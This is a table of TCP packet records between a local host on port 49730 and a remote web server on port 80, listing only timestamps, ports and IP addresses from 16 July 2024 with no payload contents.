Jul 16, 2024 22:29:51.455396891 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455409050 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.455413103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455427885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455442905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455445051 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.455457926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455471039 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.455472946 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455490112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.455495119 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.455516100 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.456011057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456027031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456041098 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456056118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456057072 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.456070900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456080914 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.456088066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456116915 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.456191063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456207037 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456221104 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456233978 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.456235886 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456248999 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456263065 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456268072 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.456278086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456291914 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456295013 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.456309080 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456322908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456332922 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.456337929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456353903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456368923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456372023 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.456382990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456398964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.456399918 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.456430912 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.457093954 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457109928 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457123995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457139015 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.457139015 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457154036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457163095 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.457169056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457182884 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457200050 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457201004 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.457214117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457230091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457235098 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.457245111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457261086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457262039 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.457276106 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457290888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457293034 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.457304955 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457317114 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.457319975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457341909 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.457878113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457894087 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457907915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457922935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457928896 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.457940102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457953930 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.457954884 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457969904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457984924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.457998037 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.457998991 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458014011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458022118 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.458029032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458043098 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458045959 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.458055973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458070993 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458085060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458089113 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.458100080 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458113909 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458127022 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.458129883 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458144903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458153009 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.458159924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458174944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458192110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458209038 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.458234072 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.458792925 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458808899 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458822012 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458837032 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458843946 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.458853006 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458868027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458880901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458894968 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.458895922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458919048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458934069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458935022 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.458950996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458961010 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.458965063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458980083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.458995104 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459008932 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459017038 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.459022999 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459038019 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459049940 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.459053993 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459068060 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459084034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459098101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459100008 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.459111929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459145069 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.459537983 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459553003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459567070 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459583044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459589005 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.459597111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459613085 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459615946 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.459626913 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459642887 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459655046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459657907 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.459669113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459683895 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.459683895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459698915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459707975 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.459713936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459728003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459743023 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459748030 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.459758997 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.459788084 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.459995031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460011959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460026979 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460042000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460048914 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.460069895 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.460171938 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460196018 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460211039 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460213900 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.460225105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460238934 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460248947 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.460254908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460268974 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460283041 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.460284948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460299969 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460309029 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.460315943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460330009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460345030 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.460345030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460360050 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460369110 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.460375071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460392952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460408926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460416079 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.460422993 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460438967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.460453987 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.460478067 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.461030006 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.461047888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.461062908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.461076021 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.461077929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.461092949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.461107969 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.461110115 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.461122036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.461137056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.461148977 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.461150885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.461167097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.461174965 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.461184025 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.461199999 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.461239100 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.462521076 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.462587118 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.462604046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.462634087 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.462683916 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.462698936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.462713957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.462729931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.462732077 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.462744951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.462763071 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.462801933 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.462838888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.462888002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.462903976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.462934017 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.462960958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.462975025 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.462989092 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.463002920 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.463005066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.463037968 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.463085890 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.463130951 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.463867903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.463896036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.463910103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.463944912 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.463964939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.463982105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464009047 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.464060068 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464076042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464090109 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464104891 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.464134932 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.464158058 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464174986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464189053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464232922 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.464243889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464288950 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.464400053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464415073 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464428902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464445114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464458942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464469910 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.464473009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464495897 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464510918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464512110 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.464524984 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464540005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464550018 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.464587927 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.464684963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464711905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464729071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464744091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464759111 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464761019 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.464783907 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.464853048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464886904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464903116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.464909077 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.464955091 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.465615034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.465646982 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.465662003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.465696096 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.465704918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.465722084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.465751886 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.465818882 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.465835094 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.465847969 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.465862989 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.465862989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.465878963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.465893030 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.465893984 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.465935946 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.466025114 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466041088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466053963 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466073036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466073036 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.466088057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466097116 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.466139078 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.466598988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466615915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466674089 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.466753006 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466767073 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466782093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466795921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466808081 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.466833115 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.466897011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466923952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466939926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466954947 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.466975927 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.467000008 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.467005968 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467021942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467039108 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467084885 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.467144966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467159986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467175961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467190027 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.467223883 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.467253923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467268944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467282057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467297077 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467327118 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.467364073 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.467365026 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467381954 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467451096 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.467473030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467485905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467502117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467530966 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:51.467607021 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:51.467622042 CEST	80	49730	23.227.193.59	192.168.2.4
